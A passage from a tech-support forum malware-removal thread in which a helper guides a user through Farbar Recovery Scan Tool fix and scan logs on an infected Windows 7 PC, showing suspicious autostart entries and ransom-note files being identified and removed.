Shortcut: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\7e4dca80246863e3\pinned.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation)

ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Default Programs.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.DefaultPrograms
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Windows Update.lnk -> C:\Windows\System32\wuapp.exe (Microsoft Corporation) -> startmenu
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sidebar.lnk -> C:\Program Files\Windows Sidebar\sidebar.exe (Microsoft Corporation) -> /showgadgets
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk -> C:\Program Files\Windows Media Player\wmplayer.exe (Microsoft Corporation) -> /prefetch:1
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter\Uninstall.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\RunU.exe () -> {5C6956F3-B586-4674-BCD0-CCF7EC1DF766}
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin) -> -T
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Backup and Restore Center.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.BackupAndRestore
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Hoyle®\Hoyle Card Games 2011\Buy other Hoyle products.lnk -> D:\Hoyle Card Games 2011\Try and Buy other Hoyle Products.URL () -> D:\Hoyle Card Games 2011\webicon.ico
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin\Wireless Networking Utility\Uninstall Belkin Wireless Utility.lnk -> C:\Program Files\Common Files\InstallShield\Driver\8\Intel 32\IDriver.exe () -> /M{5314FAC0-F8A5-4432-8980-251D055B2C5B}
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk -> C:\Windows\System32\compmgmt.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Event Viewer.lnk -> C:\Windows\System32\eventvwr.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Performance Monitor.lnk -> C:\Windows\System32\perfmon.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk -> C:\Windows\System32\secpol.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk -> C:\Windows\System32\taskschd.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows PowerShell Modules.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (Microsoft Corporation) -> -NoExit -ImportSystemModules
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Mobility Center.lnk -> C:\Windows\System32\mblctr.exe (Microsoft Corporation) -> /open
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Welcome Center.lnk -> C:\Windows\System32\rundll32.exe (Microsoft Corporation) -> %SystemRoot%\system32\OobeFldr.dll,ShowWelcomeCenter LaunchedBy_StartMenuShortcut
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Resource Monitor.lnk -> C:\Windows\System32\perfmon.exe (Microsoft Corporation) -> /res
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Task Scheduler.lnk -> C:\Windows\System32\taskschd.msc () -> /s
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Speech Recognition.lnk -> C:\Windows\Speech\Common\sapisvr.exe (Microsoft Corporation) -> -SpeechUX
ShortcutWithArgument: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Ease of Access.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.EaseOfAccessCenter
ShortcutWithArgument: C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk -> C:\Windows\System32\WFS.exe (Microsoft Corporation) -> /SendTo
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> -extoff
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Ease of Access.lnk -> C:\Windows\System32\control.exe (Microsoft Corporation) -> /name Microsoft.EaseOfAccessCenter
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk -> C:\Windows\System32\WFS.exe (Microsoft Corporation) -> /SendTo
ShortcutWithArgument: C:\Users\Tim\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Media Player.lnk -> C:\Program Files\Windows Media Player\wmplayer.exe (Microsoft Corporation) -> /prefetch:1

InternetURL: C:\Users\Tim\Favorites\Cancer - Zodiac Sign in Astrology.url -> hxxp://www.cafeastrology.com/zodiaccancer.html
InternetURL: C:\Users\Tim\Favorites\Chicken with Sun-Dried Tomato Cream Sauce Recipe Epicurious.com.url -> hxxp://www.epicurious.com/recipes/food/views/Chicken-with-Sun-Dried-Tomato-Cream-Sauce-107198
InternetURL: C:\Users\Tim\Favorites\doc Frequently Asked Questions (FAQ).url -> hxxp://www.ct.gov/doc/cwp/view.asp?a=1492&q=265472&docNav=

InternetURL: C:\Users\Tim\Favorites\Funny T-Shirts Funny T Shirt Slogans Hilarious Tees For Men.url -> hxxp://www.foulmouthshirts.com/funny-t-shirts/index.html
InternetURL: C:\Users\Tim\Favorites\Humility Quotes - BrainyQuote.url -> hxxp://www.brainyquote.com/quotes/keywords/humility.html
InternetURL: C:\Users\Tim\Favorites\Insulation - Contractor Talk - Professional Construction and Remodeling Forum.url -> hxxp://www.contractortalk.com/f80/
InternetURL: C:\Users\Tim\Favorites\OldGlory.com.url -> hxxp://oldglory.com/lp/category?c=CL_112&c2=GA_100
InternetURL: C:\Users\Tim\Favorites\Sticca Pool - CBSSports.com.url -> hxxp://sticca.football.cbssports.com/
InternetURL: C:\Users\Tim\Favorites\Ten Words That Shape Your Reality - YouTube.url -> hxxp://www.youtube.com/watch?v=fo78gb4EZ6Y
InternetURL: C:\Users\Tim\Favorites\Thanks for your order - PayPal.url -> https://www.paypal.com/us/cgi-bin/w...737ba21b081982546798d23b9808f2b0faaf533a5dbe5
InternetURL: C:\Users\Tim\Favorites\The Food Lab How To Make The Best Fajitas Serious Eats.url -> hxxp://www.seriouseats.com/2013/06/the-food-lab-how-to-make-best-fajitas.html
InternetURL: C:\Users\Tim\Favorites\U.S. Department of Labor - Wage and Hour Division (WHD) - Fact Sheet.url -> hxxp://www.dol.gov/whd/regs/compliance/whdfs24.htm
InternetURL: C:\Users\Tim\Favorites\work to home.url -> hxxp://www.mapquest.com/
InternetURL: C:\Users\Tim\Favorites\Windows Live\Get Windows Live.url -> hxxp://go.microsoft.com/fwlink/?LinkId=69172
InternetURL: C:\Users\Tim\Favorites\Windows Live\Windows Live Gallery.url -> hxxp://go.microsoft.com/fwlink/?LinkId=70742
InternetURL: C:\Users\Tim\Favorites\Windows Live\Windows Live Mail.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68925
InternetURL: C:\Users\Tim\Favorites\Windows Live\Windows Live Spaces.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68927
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Autos.url -> hxxp://go.microsoft.com/fwlink/?LinkId=55143
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Entertainment.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68924
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Money.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68923
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN Sports.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68921
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSN.url -> hxxp://go.microsoft.com/fwlink/?LinkId=54729
InternetURL: C:\Users\Tim\Favorites\MSN Websites\MSNBC News.url -> hxxp://go.microsoft.com/fwlink/?LinkId=68922
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\IE Add-on site.url -> hxxp://go.microsoft.com/fwlink/?LinkId=50893
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\IE site on Microsoft.com.url -> hxxp://go.microsoft.com/fwlink/?linkid=44661
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\Microsoft At Home.url -> hxxp://go.microsoft.com/fwlink/?linkid=55424
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\Microsoft At Work.url -> hxxp://go.microsoft.com/fwlink/?linkid=68920
InternetURL: C:\Users\Tim\Favorites\Microsoft Websites\Microsoft Store.url -> hxxp://go.microsoft.com/fwlink/?linkid=140813
InternetURL: C:\Users\Tim\Favorites\Links for United States\GobiernoUSA.gov.url -> hxxp://go.microsoft.com/fwlink/?LinkId=129792
InternetURL: C:\Users\Tim\Favorites\Links for United States\USA.gov.url -> hxxp://go.microsoft.com/fwlink/?LinkId=129791
InternetURL: C:\Users\Tim\Favorites\Links\Google Maps (2).url -> https://maps.google.com/maps?hl=en&...015&ei=_ZVBU6qmE4rKsQT2woLQBg&ved=0CCEQtQMwAQ
InternetURL: C:\Users\Tim\Favorites\Links\Google Maps.url -> https://maps.google.com/maps?hl=en&...015&ei=_ZVBU6qmE4rKsQT2woLQBg&ved=0CCEQtQMwAQ
InternetURL: C:\Users\Tim\Favorites\Links\Suggested Sites.url -> https://ieonline.microsoft.com/#ieslice
InternetURL: C:\Users\Tim\Favorites\Links\Web Slice Gallery.url -> hxxp://go.microsoft.com/fwlink/?LinkId=121315

==================== End of log =============================


----------



## JSntgRvr (Jul 1, 2003)

Please download the enclosed file. (see below) and save it in the same directory as *FRST*.

Start *FRST* with Administrator privileges.
Press the *Fix* button.
When finished, a log file (*Fixlog.txt*) pops up and is saved to the same location the tool was run from.
Please copy and paste its contents in your next reply.

Type the following in the edit box on FRST, after "Search:".

*services.exe*

It then should look like:

*Search: services.exe*

Click *Search Files* button and post the log (*Search.txt*) it will produce in the same location FRST is saved, in your next reply.

Re-scan with FRST and post the *FRST.txt* log.


----------



## timmy12342 (Mar 7, 2015)

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x86) Version: 10-03-2015
Ran by Tim at 2015-03-10 22:09:42 Run:5
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Boot Mode: Normal

==============================================

Content of fixlist:
*****************
Start
HKLM\...\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ()
HKLM\...\Policies\Explorer\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ( ())
C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [BluetoothS] => rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [HideSCAHealth] 1
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
HKLM\...\Policies\Explorer: [HideSCAHealth] 1
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.a...tid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM= 4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
End
*****************

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524} => value deleted successfully.
HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524} => value deleted successfully.

"C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}" directory move:

Could not move "C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}" directory. => Scheduled to move on reboot.

HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Run\\BluetoothS => value deleted successfully.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\\TaskbarNoNotification => value deleted successfully.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\\HideSCAHealth => value deleted successfully.
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\\TaskbarNoNotification => value deleted successfully.
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\\HideSCAHealth => value deleted successfully.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\URL http://search.conduit.com/Results.a...tid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM= => Value not found.

=> Result of Scheduled Files to move (Boot Mode: Normal) (Date&Time: 2015-03-10 22:12:10)<=

C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524} => Is moved successfully.

==== End of Fixlog 22:12:10 ====


----------



## timmy12342 (Mar 7, 2015)

I believe frst is getting stuck on the search: services.exe. I'm not sure how long its supposed to take but after 5 or 10 minutes i just don't think it's doing anything. Will this program work the same in safemode? For some reason it doesn't always cooperate with my computer. A few times it just gets stuck on different things. I will scan with frst and post the log


----------



## timmy12342 (Mar 7, 2015)

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 10-03-2015
Ran by Tim (administrator) on TIM-PC on 10-03-2015 22:25:36
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Platform: Microsoft Windows 7 Ultimate (X86) OS Language: English (United States)
Internet Explorer Version 8 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Apple Inc.) D:\iTunes\iTunesHelper.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Belkin) C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(QuickReattemptSketch PreparationSquatterProcreation) C:\Users\Tim\AppData\Local\svcxdcl32.exe
() C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe
(The Linksys Group, Inc.) C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\PresentationHost.exe
(Microsoft Corporation) C:\Windows\System32\cmd.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [iTunesHelper] => D:\iTunes\iTunesHelper.exe [152392 2014-01-20] (Apple Inc.)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM\...\Run: [FlashPlayerUpdate] => C:\Users\Tim\AppData\Local\Macromedia\Flash Player\FlashPlayerUpdateService.exe [135168 2015-03-10] ()
HKLM\...\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => "C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe"
HKLM\...\RunServices: [Atheros Configuration Service] => C:\Windows\System32\acs.exe [36864 2005-05-05] ()
Winlogon\Notify\jtunomw: C:\Users\Tim\AppData\Local\jtunomw.dll ()
HKLM\...\Policies\Explorer\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => "C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe" No File
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [55555e8] => C:\55555e81\55555e81.exe [132096 2015-03-10] ()
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [55555e81] => C:\Users\Tim\AppData\Roaming\55555e81.exe [132096 2015-03-10] ()
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [jtunomw] => rundll32 "C:\Users\Tim\AppData\Local\jtunomw.dll",jtunomw <===== ATTENTION
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [Svc2dll] => C:\Users\Tim\AppData\Local\svcxdcl32.exe [134144 2015-03-10] (QuickReattemptSketch PreparationSquatterProcreation)
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [BluetoothS] => rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk
ShortcutTarget: Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk
ShortcutTarget: Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()
Startup: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\55555e81.exe ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=56626&homepage=http://www.google.com/
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.aspx?ctid=CT3323878&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> {6119AD82-DA2F-4B34-BB9A-878B98DF03EF} URL = http://www.bing.com/search?q={searchTerms}
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254

FireFox:
========
FF ProfilePath: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_16_0_0_305.dll [2015-03-03] ()
FF Plugin: @Apple.com/iTunes,version=1.0 -> D:\iTunes\Mozilla Plugins\npitunes.dll [2013-12-18] ()
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)

Chrome: 
=======
CHR Profile: C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (save! Net) - C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\hbimodhljhimhoodfcelccoebafophdn [2014-04-21]

========================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

S2 googleupdate; C:\Windows\LaRnaefG.exe [548864 2015-03-10] () [File not signed]
S2 MBAMScheduler; D:\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)
S2 MBAMService; D:\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)
S2 SystemUpdate; C:\Windows\FrameworkUpdate\Update.exe [15798968 2015-03-10] (Google Inc.) [File not signed]
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AegisP; C:\Windows\System32\DRIVERS\AegisP.sys [17801 2015-03-02] (Meetinghouse Data Communications) [File not signed]
R3 BLKWGD; C:\Windows\System32\DRIVERS\BLKWGD.sys [463872 2005-06-01] (Belkin Corporation.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [19984 2015-03-06] ()
S3 IPN2120; C:\Windows\System32\DRIVERS\LSIPNDS.sys [96256 2003-07-10] (The Linksys Group, Inc.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [23256 2014-11-21] (Malwarebytes Corporation)
S3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [114904 2015-03-10] (Malwarebytes Corporation)
S3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [51928 2014-11-21] (Malwarebytes Corporation)
R3 odysseyIM3; C:\Windows\System32\DRIVERS\odysseyIM3.sys [62673 2003-05-14] (Funk Software, Inc.)
U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [48128 2009-07-13] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-10 22:14 - 2015-03-10 22:18 - 00000214 _____ () C:\Users\Tim\Downloads\Search.txt
2015-03-10 20:13 - 2015-03-10 22:12 - 00000153 _____ () C:\Users\Tim\AppData\Local\svcxdcl32.dat
2015-03-10 20:13 - 2015-03-10 20:13 - 00134144 _____ (QuickReattemptSketch PreparationSquatterProcreation) C:\Users\Tim\AppData\Local\svcxdcl32.exe
2015-03-10 20:12 - 2015-03-10 20:12 - 00023552 _____ () C:\Users\Tim\AppData\Local\jtunomw.dll
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\Users\Tim\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\Users\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\ProgramData\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00008706 _____ () C:\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\Users\Tim\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\Users\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\ProgramData\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00004296 _____ () C:\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\Users\Tim\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\Users\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\ProgramData\HELP_DECRYPT.URL
2015-03-10 19:20 - 2015-03-10 19:20 - 00000304 _____ () C:\HELP_DECRYPT.URL
2015-03-10 19:13 - 2015-03-10 19:13 - 00000664 ____H () C:\ProgramData\@system.temp
2015-03-10 19:13 - 2015-03-10 19:13 - 00000400 ____H () C:\ProgramData\@system3.att
2015-03-10 19:12 - 2015-03-10 19:12 - 00132096 _____ () C:\Users\Tim\AppData\Roaming\55555e81.exe
2015-03-10 19:12 - 2015-03-10 19:12 - 00000480 ____H () C:\Users\Tim\AppData\Roaming\麽鎒駓覜
2015-03-10 19:12 - 2015-03-10 19:12 - 00000000 ___HD () C:\55555e81
2015-03-10 19:12 - 2015-03-10 19:12 - 00000000 ____D () C:\Windows\FrameworkUpdate
2015-03-10 13:19 - 2015-03-10 13:20 - 00709564 _____ () C:\Users\Tim\Downloads\delfix_10.8.exe
2015-03-10 13:16 - 2015-03-10 13:16 - 00548864 _____ () C:\Windows\LaRnaefG.exe
2015-03-08 20:49 - 2015-03-10 13:13 - 00114904 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-03-08 20:49 - 2015-03-08 20:49 - 00000621 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-03-08 20:48 - 2015-03-08 20:49 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-03-08 20:48 - 2015-03-08 20:48 - 00000000 ____D () C:\ProgramData\Malwarebytes
2015-03-08 20:48 - 2014-11-21 06:14 - 00075480 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbamchameleon.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00051928 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mwac.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00023256 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbam.sys
2015-03-08 20:20 - 2015-03-08 20:40 - 20447072 _____ (Malwarebytes Corporation ) C:\Users\Tim\Downloads\mbam-setup-2.0.4.1028.exe
2015-03-08 19:53 - 2015-03-10 19:20 - 00000000 ____D () C:\AdwCleaner
2015-03-08 19:48 - 2015-03-08 19:49 - 02126848 _____ () C:\Users\Tim\Downloads\adwcleaner_4.111.exe
2015-03-08 19:41 - 2015-03-08 19:41 - 00005296 _____ () C:\Users\Tim\Desktop\JRT.txt
2015-03-08 15:39 - 2015-03-08 15:45 - 01388333 _____ (Thisisu) C:\Users\Tim\Downloads\JRT.exe
